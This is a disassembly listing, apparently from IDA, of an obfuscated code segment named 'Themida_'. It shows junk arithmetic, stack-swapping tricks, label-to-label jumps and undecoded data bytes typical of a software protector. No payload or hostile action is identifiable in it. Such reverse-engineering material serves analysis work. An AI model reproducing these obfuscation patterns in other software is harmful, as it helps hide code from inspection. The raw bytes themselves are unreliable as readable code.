		and	edx, edi
		pop	edi
		not	edx
		dec	edx
		xor	edx, 0B4A2B8A0h
		sub	ebp, edx
		pop	edx
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55E640
; ---------------------------------------------------------------------------
word_5576EE	dw 0E9ADh		; DATA XREF: Themida_:0055349Co
		dd 837Fh, 0E92434FFh, 2717h, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 5AA2E9h, 24248900h, 4240483h, 23C8E95Bh
		dd 14330000h, 0E9505C24h, 0FFFFE389h, 405h, 24048700h
		dd 0E689565Ch, 2954E9h,	0D3895300h, 5B245F89h, 5A2434FFh
		dd 3104C483h, 728068D2h, 1C890000h, 2434FF24h, 0FFC981E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557759:				; CODE XREF: Themida_:00559E6Aj
		mov	ecx, ebp
		pop	ebp
		add	ebp, 745301EEh
		add	ebp, 2C173075h
		add	ebp, ecx
		sub	ebp, 2C173075h
		jmp	loc_556BF0
; ---------------------------------------------------------------------------
		db 0BFh, 0C5h, 61h
		dd 0FB297781h, 323FE95Fh, 0F9010000h, 6B86E981h, 875F0DD9h
		dd 248B240Ch, 0BB535524h, 20E9753Ch, 3D1AC381h,	0F38139C9h
		dd 549823E4h, 603FC381h, 0E3C11191h, 0DEEB8106h, 89D85854h
		dd 81455BDDh, 0A42767F5h, 5DEF0116h, 2C781h, 3C870000h
		dd 0F665C24h, 0E957C8BEh, 4D87h
; ---------------------------------------------------------------------------


loc_5577D4:				; CODE XREF: Themida_:00556F5Bj
		push	esi
		mov	esi, 1042146Fh
		jmp	loc_558F74
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 307587BAh, 5AD7299Ch, 7AB2E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5577F6:				; CODE XREF: Themida_:00555AD4j
		not	eax
		add	eax, 2EC3180h
		push	eax
		jmp	loc_553723
; ---------------------------------------------------------------------------
		db 50h
		dd 0E947B151h, 69F8h, 515FFB01h, 0D64EA8B9h, 3BF18144h
		dd 81330E20h, 76F17E1h,	1C18154h, 53000000h, 3FB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55782D:				; CODE XREF: Themida_:005561B1j
		add	esp, 2
		add	bl, al
		sub	bl, 63h
		jmp	loc_55F535
; ---------------------------------------------------------------------------
word_55783A	dw 1CF7h		; DATA XREF: Themida_:00553370o
		dd 0DCE99C24h, 83FFFFBCh, 8B042404h, 0C483242Ch, 1A4CE904h
		dd 14BA0000h, 0E95F9327h, 724Ch, 78ACE981h, 0D9011A23h
		dd 78ACC181h, 335B1A23h, 76E9240Ch, 89000069h, 0F2815FFAh
		dd 4610897h, 8107EAC1h,	0D7338FE2h, 0C7CA8104h,	502F483Fh
		dd 0BA661EB8h, 0E9C2312Dh, 68D4h, 10F5C681h, 0C6817409h
		dd 4B5B7998h, 0F75BF681h, 0F1294475h, 0AAC1815Eh, 5D4CD736h
		dd 2474FF51h, 48F5904h,	24248B24h, 9C240CFEh, 0FFBC56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5578C9:				; CODE XREF: Themida_:0055A7C4j
		mov	esi, 49851363h
		and	esi, 0F377243h
		push	edx
		jmp	loc_559156
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 0E95C2404h, 1EABh
dword_5578E4	dd 24048B66h, 5608E9h, 685600h,	0E9000000h, 81B3h, 4E0C381h
					; DATA XREF: Themida_:005534B8o
		dd 215D1861h, 34FF1C5Fh, 0C4835B24h, 0C117E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55790E:				; CODE XREF: Themida_:0055873Cj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 0F955E924h, 0C381FFFFh, 4, 1579E9h
		dd 5BD83100h, 8158C301h, 5D50D5C3h, 81C3294Bh, 5D50D5EBh
		dd 52BE564Bh, 29510440h, 56575EF3h, 0F04E4ABEh,	0BD5ABF05h
		dd 0F72957D7h, 5FFB015Eh, 81E38953h, 4C3h, 14B4E900h, 50530000h
		dd 8870B151h, 0E38859CCh, 582434FFh, 8004C483h,	0B65284E3h
		dd 2E6C049h, 7F6EE9h, 240C8900h, 5623E952h, 0BD550000h
		dd 5BF2504Ch, 815DEA01h, 0C1184FF2h, 2C97E965h,	2C8B0000h
		dd 4C48124h, 4A000000h,	6FACEA81h, 0C28148D7h, 0C24592E7h
		dd 148BD501h, 4C48124h,	83000000h, 2C3304C5h, 7EC1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5579DE:				; CODE XREF: Themida_:0055D04Ej
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55CAAF
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0F9h
		dd 0D1D9F75Fh, 14F751E9h, 116AE924h, 0C4810000h, 4, 5C243C87h
		dd 0FFCBCFE9h, 5D5455FFh, 4C581h, 0EBE90000h, 52000079h
		dd 66F28966h, 0FDE9D389h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557A2F:				; CODE XREF: Themida_:0055DBF6j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55CA63
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 29000000h, 0C8758C1h, 5CFE924h, 835C0000h, 348904ECh
		dd 2242BE24h, 0DEF72E2Dh, 2246C681h, 6CE92E2Dh,	89FFFFFAh
		dd 4C781E7h, 81000000h,	4EFh, 186CE900h, 4890000h, 0C53E924h
		dd 0F2800000h, 0FBD0E9F5h, 0F181FFFFh, 3B2CA78Bh, 0E959CF89h
		dd 908h, 4B9h, 244C0100h, 835E5904h, 48904ECh, 246824h
		dd 34FF0000h, 24048B24h, 51E08950h, 0BB7FA6B9h,	0E9C18116h
		dd 41479C63h, 4D54E9h, 4EC8300h, 56241C89h, 0CB62DBBEh
		dd 2DCE8153h, 8126F467h, 9805C6h, 0E9F38988h, 5981h, 4C481h
		dd 0F5890000h, 3DFC685Eh, 0A5E90000h, 87FFFFF7h, 0E95C2404h
		dd 0FFFFBA13h
; ---------------------------------------------------------------------------


loc_557B0C:				; CODE XREF: Themida_:00556BA4j
		mov	ebp, 4FDA0656h
		shr	ebp, 4
		jmp	loc_55E9B3
; ---------------------------------------------------------------------------
		db 4, 31h, 4
		dd 0E9242C25h, 0FFFFCECEh, 5C94E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B2A:				; CODE XREF: Themida_:0055E345j
		add	ebp, 4
		jmp	loc_55D912
; ---------------------------------------------------------------------------


loc_557B35:				; CODE XREF: Themida_:00558E9Bj
		sub	ecx, 551A4F5Eh
		sub	ecx, 14EB4E92h
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_556E46
; ---------------------------------------------------------------------------
		dd 1420BB53h, 5C2900FAh, 0E4E90824h, 8100004Ch,	4C2h, 4EA8300h
		dd 779AE9h
		db 0
byte_557B69	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055340Co
		dd 89535324h, 4C381E3h,	57000000h, 4BFh, 5FFB2900h, 78B0E9h
		dd 0DFF74F00h, 44ECCF81h, 0EF815CD4h, 0DDDFD5EAh, 6F1AE9h
		dd 0E7BD5500h, 8140410Eh, 410EE3EDh, 0E9EF0140h, 0FFFFC58Ch
		dd 67B25266h, 5A66D400h, 9AEB80h, 9AC380E3h, 0C4EB8058h
		dd 0C380C328h, 10B050C4h, 5E8DE9h, 241C8900h, 0B7D2B652h
		dd 0A2C780E4h, 0EF80F700h, 80E95AA2h, 58000044h, 2EB65266h
		dd 54E9F028h, 52000026h, 42ABD55h, 0DFBA7D57h, 29AD4580h
		dd 4A7BE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C02:				; CODE XREF: Themida_:00558D3Dj
		xor	eax, ebx
		push	6F02h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 5E8E17E1h
		jmp	loc_55CB09
; ---------------------------------------------------------------------------


loc_557C20:				; CODE XREF: Themida_:0055EB56j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		push	eax
		mov	ah, 22h
		jmp	loc_558D95
; ---------------------------------------------------------------------------


loc_557C36:				; CODE XREF: Themida_:0055FA9Cj
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		jmp	loc_5598E5
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0DAh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C53:				; CODE XREF: Themida_:0055C507j
		add	edx, 4
		jmp	loc_55AD92
; ---------------------------------------------------------------------------


loc_557C5E:				; CODE XREF: Themida_:0055D9C0j
		push	edx
		sub	esp, 4
		jmp	loc_558CE5
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0CEBE2434h, 0D10B6C72h, 32EE81EEh, 0BB04CED1h, 0E76835h
		dd 348BF331h, 9DE95224h, 0B8FFFFE1h, 22C3D1Bh, 3158C689h
		dd 34FF4077h, 24348B24h, 4C481h, 0DAE90000h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557CA7:				; CODE XREF: Themida_:00559BA1j
		not	ebx
		shl	ebx, 7
		jmp	loc_557D6B
; ---------------------------------------------------------------------------
		db 46h,	57h, 0BFh
		dd 57E17DDCh, 0E904EFC1h, 56FBh
; ---------------------------------------------------------------------------


loc_557CC0:				; CODE XREF: Themida_:0055649Cj
		mov	ebx, ebp
		pop	ebp
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 2
		push	ecx
		jmp	loc_559D1D
; ---------------------------------------------------------------------------


loc_557CDC:				; CODE XREF: Themida_:00555344j
		add	edx, 7E40D94h
		shl	edx, 8
		or	edx, 65371ADAh
		jmp	loc_5599DF
; ---------------------------------------------------------------------------
		dd 5A668704h, 90B753h, 0B2525BF8h, 2EC83ACh, 24148966h
		dd 662414F6h, 4AF2805Ah, 4CE95166h, 0E9000002h,	0FFFFB807h
		dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h,	47E95C24h
		dd 6600003Fh, 0E4E9008Fh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D3B:				; CODE XREF: Themida_:00556824j
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	5136h
		mov	[esp], ebx
		push	eax
		mov	eax, 490E286Ah
		inc	eax
		push	ebp
		mov	ebp, 7BAF751Eh
		neg	ebp
		xor	ebp, 0A2CAF6D5h
		or	eax, ebp
		jmp	loc_5595F8
; ---------------------------------------------------------------------------


loc_557D6B:				; CODE XREF: Themida_:00557CACj
		inc	ebx
		xor	ebx, 0B441E46Ch
		mov	ecx, ebx
		jmp	loc_553B51
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 29h
		dd 5E5CDF16h, 0FFD6F0E9h, 0E9D031FFh, 0EBCh, 39E9FB29h
		dd 42000031h, 3B16BF57h, 0D7F75EEDh, 58C4CF81h,	0E7C15B8Dh
		dd 0A0C78105h, 0E966070Eh, 7C13h
; ---------------------------------------------------------------------------


loc_557DB0:				; CODE XREF: Themida_:00553F34j
		sub	esi, 0CA519C6h
		sub	esi, ebx
		add	esi, 0CA519C6h
		pop	ebx
		add	esi, ebp
		add	esi, 63A50E54h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bh, dl
		push	303Bh
		jmp	loc_5594F0
; ---------------------------------------------------------------------------
aSmy		db '^é¬y',0
		db 0
; ---------------------------------------------------------------------------


loc_557DED:				; CODE XREF: Themida_:0055E2F7j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, ebx
		push	ebx
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557380
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 0C9h
		dd 0C681663Fh, 8166FFEEh, 0E93699EFh, 3A40h
; ---------------------------------------------------------------------------


loc_557E20:				; CODE XREF: Themida_:0055D743j
		shr	esi, 8
		inc	esi
		push	eax
		mov	eax, 576596A8h
		add	esi, eax
		jmp	loc_554251
; ---------------------------------------------------------------------------


loc_557E31:				; CODE XREF: Themida_:005553D6j
		mov	esi, edi
		mov	edi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55A24E
; ---------------------------------------------------------------------------
aIHlm		db '‰$$h«m',0
		dd 24048900h, 0FFE868E9h, 241489FFh, 0D389F289h, 5BD3E95Ah
		dd 81470000h, 9508BCEFh, 0E9FA899Dh, 0FFFFC14Dh, 21BBC681h
		dd 0FE0156BAh, 21BBEE81h, 815F56BAh, 2EEh, 24348700h, 6624248Bh
		dd 0E9240489h, 0FFFFB683h, 600AB850h, 0C6896839h, 65AFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557EAA:				; CODE XREF: Themida_:00558CFEj
		pop	eax
		or	ebx, edx
		pop	edx
		shl	ebx, 8
		push	edi
		push	eax
		push	ecx
		push	257612F5h
		pop	ecx
		jmp	loc_55EF01
; ---------------------------------------------------------------------------


loc_557EBF:				; CODE XREF: Themida_:0055F1BAj
		pop	ecx
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_557ECA:				; CODE XREF: Themida_:005574FAj
		pop	edx
		add	esp, 4


loc_557ED1:				; CODE XREF: Themida_:0055C9D7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55E31F
; ---------------------------------------------------------------------------
		db 0Fh
		dd 34FFC0B6h, 2434FF87h, 0E6895658h, 8904EC83h,	0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 0FFE6CBE9h, 0B60DE9FFh
		dd 0DDF7FFFFh, 4C0DC581h, 6BE94E62h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557F1F:				; CODE XREF: Themida_:00555465j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_55DC75
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0B0505224h, 0F6C8FE44h, 0E93404D0h, 4DCBh
; ---------------------------------------------------------------------------


loc_557F74:				; CODE XREF: Themida_:00559D2Ej
		pop	esp
		mov	[esp], ebp
		push	ebx
		sub	dword ptr [esp], 53106C7h
		jmp	loc_5535EB
; ---------------------------------------------------------------------------


loc_557F85:				; CODE XREF: Themida_:0055DBEEj
		pop	esp
		jmp	loc_55C9D5
; ---------------------------------------------------------------------------


loc_557F8B:				; CODE XREF: Themida_:0055EFECj
		add	al, dh
		jmp	loc_55F356
; ---------------------------------------------------------------------------


loc_557F92:				; CODE XREF: Themida_:00555F7Fj
		mov	ch, ah
		jmp	loc_55872F
; ---------------------------------------------------------------------------
aVtsz_		db 'VTéZ_',0
		align 10h


loc_557FA0:				; CODE XREF: Themida_:00559678j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_555B79
; ---------------------------------------------------------------------------
byte_557FAF	db 0FFh			; DATA XREF: Themida_:00553478o
		dd 669D1C77h, 241CD359h, 0B561E99Ch, 0C281FFFFh, 49E67266h
		dd 0BAFEA81h, 5EE91533h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_557FCF:				; CODE XREF: Themida_:00558984j
		push	esi
		push	eax
		jmp	loc_559E75
; ---------------------------------------------------------------------------


loc_557FD6:				; CODE XREF: Themida_:00556416j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	4740h
		mov	[esp], ebx
		jmp	loc_55CEDE
; ---------------------------------------------------------------------------


loc_557FED:				; CODE XREF: Themida_:005575F4j
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5593F5
; ---------------------------------------------------------------------------
		db 83h
		dd 0FB2904C4h, 1436E9h,	5BD90100h, 0C8BC831h, 0B90EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55800E:				; CODE XREF: Themida_:005537E3j
		pop	eax
		push	17ABh
		mov	[esp], esi
		jmp	loc_55F31F
; ---------------------------------------------------------------------------
		dd 24048B66h, 645E9h, 0A3E95C00h, 500002Ah, 4, 5C240487h
		dd 0E9E28952h, 0FFFFFB1Fh, 5158CD81h, 814D1CF7h, 0BC56AEF5h
		dd 75ED813Bh, 213CC1BFh, 43E95DEFh, 8900001Ah, 0BF5755E0h
		dd 6CD174CAh, 49AFE9h, 0E7895700h, 90F68h, 24048900h, 0B3685253h
		dd 5A32EA73h, 17FDE9h, 0DEF65B00h, 0C2E95366h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558087:				; CODE XREF: Themida_:0055F774j
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55BE52
; ---------------------------------------------------------------------------


loc_558091:				; CODE XREF: Themida_:0055AA12j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_55EA45
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 63B0EE81h, 0DE012581h, 0FFCC36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5580BD:				; CODE XREF: Themida_:00556022j
		bswap	eax
		push	31B6h
		mov	[esp], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dd 0E95AF788h, 3258h, 5346BE56h, 0CE810E08h, 662B0F8Fh
		dd 0E903E6C1h, 2CF0h
dword_5580E8	dd 582434FFh, 4EC8152h,	89000000h, 4832424h, 685A0424h
					; DATA XREF: Themida_:00553324o
		dd 548Dh, 4CA7E9h, 0FDF58000h, 0E8284C04h, 0FFE05DE9h
		dd 0C4E959FFh, 0B1000051h, 66CE28A6h, 5AF52059h, 2888ED80h
		dd 240C8BE8h, 6A8E9h, 81FA0100h, 330BAFC2h, 0FDBB5315h
		dd 43385523h, 0E3C1DBF7h, 5FADE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558146:				; CODE XREF: Themida_:0055B2B7j
		and	edi, 28690070h
		shl	edi, 7
		shr	edi, 6
		xchg	ebp, edi
		not	ebp
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		push	edx
		jmp	loc_55FA86
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0FFB97CE9h, 242C31FFh, 8B242C33h, 0A8E92424h, 0BEFFFFB3h
		dd 161625F9h, 5354E9h, 61F78100h, 4F5BBA34h, 0B3E2EF81h
		dd 0F829384Ch, 36BD555Fh, 45428D2Bh, 0CBFC581h,	0DDF713E8h
		dd 1928C581h, 0C5813C8Dh, 1AAC4A95h, 2E12C581h,	0E801022Dh
		dd 52D8015Dh, 1243BF57h, 0B0E905CBh, 1FFFFF6h, 24348BF5h
		dd 28C1E9h, 50C32900h, 4428E9h,	72F18100h, 817DEA29h, 0AA21DDE9h
		dd 59CA09AFh, 0FFEA8142h, 81FFFFFFh, 0E4567FEAh, 0D5BF577Bh
		dd 81311737h, 6FD8F8F7h, 0E9FA011Ah, 8F0h
; ---------------------------------------------------------------------------


loc_558204:				; CODE XREF: Themida_:0055539Dj
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	edx, eax
		pop	eax
		jmp	loc_55D69B
; ---------------------------------------------------------------------------


loc_558213:				; CODE XREF: Themida_:00555FD6j
		sub	eax, 45C56F68h
		jmp	loc_55DFEA
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 2CE8EB81h, 0C3015723h, 2CE8C381h, 51575723h,	0F08E9h
		dd 2B900h, 0ED810000h, 7DB82F96h, 2DA4C581h, 0CD011BA6h
		dd 2DA4ED81h, 0C1E91BA6h, 5700002Fh, 42474FFh, 5AFCE9h
		dd 0E9D18900h, 6B50h
; ---------------------------------------------------------------------------


loc_558264:				; CODE XREF: Themida_:005590D8j
		mov	al, 0F4h
		not	al
		and	al, 66h
		xor	al, 6Ch
		jmp	loc_55EFE6
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 645568h, 241C8900h, 186683BBh, 7FEB8169h,	1691866h
		dd 4875BD8h, 24248B24h,	0FF2434FFh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	5325h
		mov	[esp], ecx
		mov	ecx, 4AD130D2h
		or	ecx, 784C19FDh
		neg	ecx
		jmp	loc_55B642
; ---------------------------------------------------------------------------
		dd 8CE9D389h, 8100000Ch, 4C1h, 4E98300h, 5C240C87h, 53242489h
		dd 43D0E9h, 0E9F32900h,	0FFFFFDF8h
byte_5582DC	db 8Bh,	4, 24h		; DATA XREF: Themida_:00553330o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5592BC
; ---------------------------------------------------------------------------


loc_5582F6:				; CODE XREF: Themida_:0055F0A7j
		mov	[edx+30h], ecx
		pop	ecx
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 1Dh, 0B2h
		dd 0D801FFFFh, 7FE91088h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55830B:				; CODE XREF: Themida_:0055E9E8j
		mov	ecx, esp
		push	esi
		jmp	loc_5561CD
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4ECh, 241C8900h, 2BBh, 0E99E900h
		dd 815E0000h, 0BB5A12CDh, 4C1BE959h
		db 2 dup(0)
word_55833A	dw 77FFh		; DATA XREF: Themida_:00553364o
		dd 4105E92Ch, 0B8500000h, 4426165h, 6470C781h, 0C7292A03h
		dd 6470EF81h, 81582A03h, 680AC2EFh, 0B3EF8102h,	8B177252h
		dd 0C481240Ch, 4, 5702C783h, 42474FFh, 0DB2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55837A:				; CODE XREF: Themida_:0055E92Cj
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		push	ebp
		mov	ebp, 22C06EB4h
		jmp	loc_559CC7
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 24148B5Ch, 0E904C483h
		dd 0FFFFB177h, 242C8157h, 6CA97ED6h, 0D6C18159h, 5F6CA97Eh
		dd 34FFC801h, 89525924h, 4C281E2h, 0E9000000h, 0EAAh, 0E9240C8Bh
		dd 0FFFFDE63h
; ---------------------------------------------------------------------------


loc_5583D4:				; CODE XREF: Themida_:00559BCDj
		or	edx, ecx
		pop	ecx
		inc	edx
		inc	edx
		xor	edx, 16FF1FDFh
		sub	eax, edx
		pop	edx
		add	eax, ebp
		push	ebx
		mov	ebx, 0A8D0B99h
		xor	ebx, 23C465A7h
		shl	ebx, 3
		shr	ebx, 4
		xor	ebx, 70951E79h
		add	ebx, 0F7927748h
		add	eax, ebx
		pop	ebx
		pop	ebp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
aSrl		db '$éRL',0
		align 2
aH0		db 'hÖ0',0
		dw 8900h
		dd 0E389241Ch, 4C381h, 6CE90000h, 66FFFFC2h, 0EF816659h
		dd 166A035h, 1665FFBh, 665266C3h, 665906BAh, 527AF281h
		dd 29D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_558459:				; CODE XREF: Themida_:00559741j
		sub	ecx, 0FDCD7C7Ch
		add	edx, ecx
		pop	ecx
		jmp	loc_55F8AE
; ---------------------------------------------------------------------------


loc_558467:				; CODE XREF: Themida_:0055ABD0j
		pop	ecx
		jmp	loc_55E4CA
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 4
		dd 0F706EAC1h, 0FCC281D2h, 8165EA2Ch, 0C3310AF2h, 5AD60165h
		dd 5AE3E951h, 0BE560000h, 58B31E98h, 0C108EEC1h, 0CAE902EEh
		dd 8F00002Ah, 4812404h,	424h, 24148B00h, 8104C483h, 4C2h
		dd 4EC8100h, 0E9000000h, 5CDCh,	302AF580h, 2434FFE8h, 0E9240C8Bh
		dd 0FFFFE730h, 18E9DD88h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5584D3:				; CODE XREF: Themida_:005567D8j
		pop	edx
		pop	ebp
		jmp	loc_55D099
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0E536866h, 0FFC05BE9h, 0B2B951FFh, 1422E3Dh,	0EA2959CAh
		dd 3DB2EA81h, 2C8B422Eh, 1703E924h, 762C0000h, 7604F028h
		dd 0EC815A66h, 4, 0B3241C89h, 0F6C3866Ch, 0E9C386D0h, 0FFFFEDAAh
		dd 4E85E95Bh, 4000000h,	0F4E99C24h, 83FFFFAFh, 7BE904C7h
		dd 29FFFFDFh, 0E2C8E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55853A:				; CODE XREF: Themida_:0055C986j
		push	ecx
		mov	cl, 5Eh
		mov	dh, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		not	dh
		sub	esp, 2
		mov	[esp], bx
		push	eax
		mov	ah, dh
		mov	bh, ah
		mov	eax, [esp]
		add	esp, 4
		not	bh
		mov	dh, bh
		pop	bx
		xor	dh, 76h
		not	dh
		push	eax
		jmp	loc_554F0B
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 0E4h
		dd 0E902B551h, 0FFFFDD57h, 8904EC83h, 8B54241Ch
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55C5EF
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2C8B5424h, 4C48324h,	4C581h,	0C5810000h, 4, 2474FF55h
		dd 48F5D04h, 24248B24h,	1605E9h, 76E18100h, 0E97D5C7Eh
		dd 0FFFFB575h, 4C481h, 0AB680000h, 8900002Bh, 0DBE9240Ch
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585D3:				; CODE XREF: Themida_:0055BDF4j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55C98B
; ---------------------------------------------------------------------------


loc_5585EE:				; CODE XREF: Themida_:00556D53j
		xor	al, bl
		pop	ebx
		sub	bl, al
		pop	ax
		push	eax
		mov	al, 0ADh
		dec	al
		neg	al
		or	al, 0D4h
		sub	al, 0A9h
		sub	bl, al
		pop	eax
		sub	bl, al
		add	bl, 2Bh
		jmp	loc_5554C3
; ---------------------------------------------------------------------------


loc_55860D:				; CODE XREF: Themida_:0055A7E9j
		pop	eax
		xor	ecx, esi
		pop	esi
		not	ecx
		add	ecx, 0E01042B3h
		jmp	loc_55ED33
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 330DBD24h, 0B95121F9h, 36E310D6h, 0E908E9C1h, 4C62h
; ---------------------------------------------------------------------------


loc_558634:				; CODE XREF: Themida_:0055E48Aj
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_55A5AD
; ---------------------------------------------------------------------------
		db 0B7h, 14h, 0
		dd 1C8B66FEh, 2C48324h,	0E95AF100h, 0D19h
; ---------------------------------------------------------------------------


loc_55865C:				; CODE XREF: Themida_:00559814j
		mov	esi, [esp]
		jmp	loc_559BF3
; ---------------------------------------------------------------------------
		dd 0FE31E954h, 8951FFFFh, 559F68E1h, 1DE90000h
		db 45h,	2 dup(0)
aFhuefiSN	db 'fhžEf‰$$é)n',0      ; DATA XREF: Themida_:00553350o
		align 4
dword_558684	dd 207F83ADh, 89840F00h, 81FFFFE0h, 573859EEh, 72EE8145h
					; DATA XREF: Themida_:00553470o
		dd 13D5C63h, 3518E9C6h,	0B8500000h, 579A7B68h, 48BC289h
		dd 4C48124h, 4A000000h,	81D2F742h, 7726A4EAh, 0DDA6E966h
		dd 0C329FFFFh, 1EFCC381h, 0EB81735Bh, 115F2119h, 68E18951h
		dd 6D9Eh, 467BE9h, 0E2B35300h, 0D7E935B0h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5586E7:				; CODE XREF: Themida_:0055DC59j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4EB963E7h
		add	ebp, esi
		add	ebp, 4EB963E7h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55AE80
; ---------------------------------------------------------------------------
aWsfe		db '[WéäE',0
		db 0
; ---------------------------------------------------------------------------


loc_558711:				; CODE XREF: Themida_:0055CFBCj
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], edx
		jmp	loc_5569BC
; ---------------------------------------------------------------------------
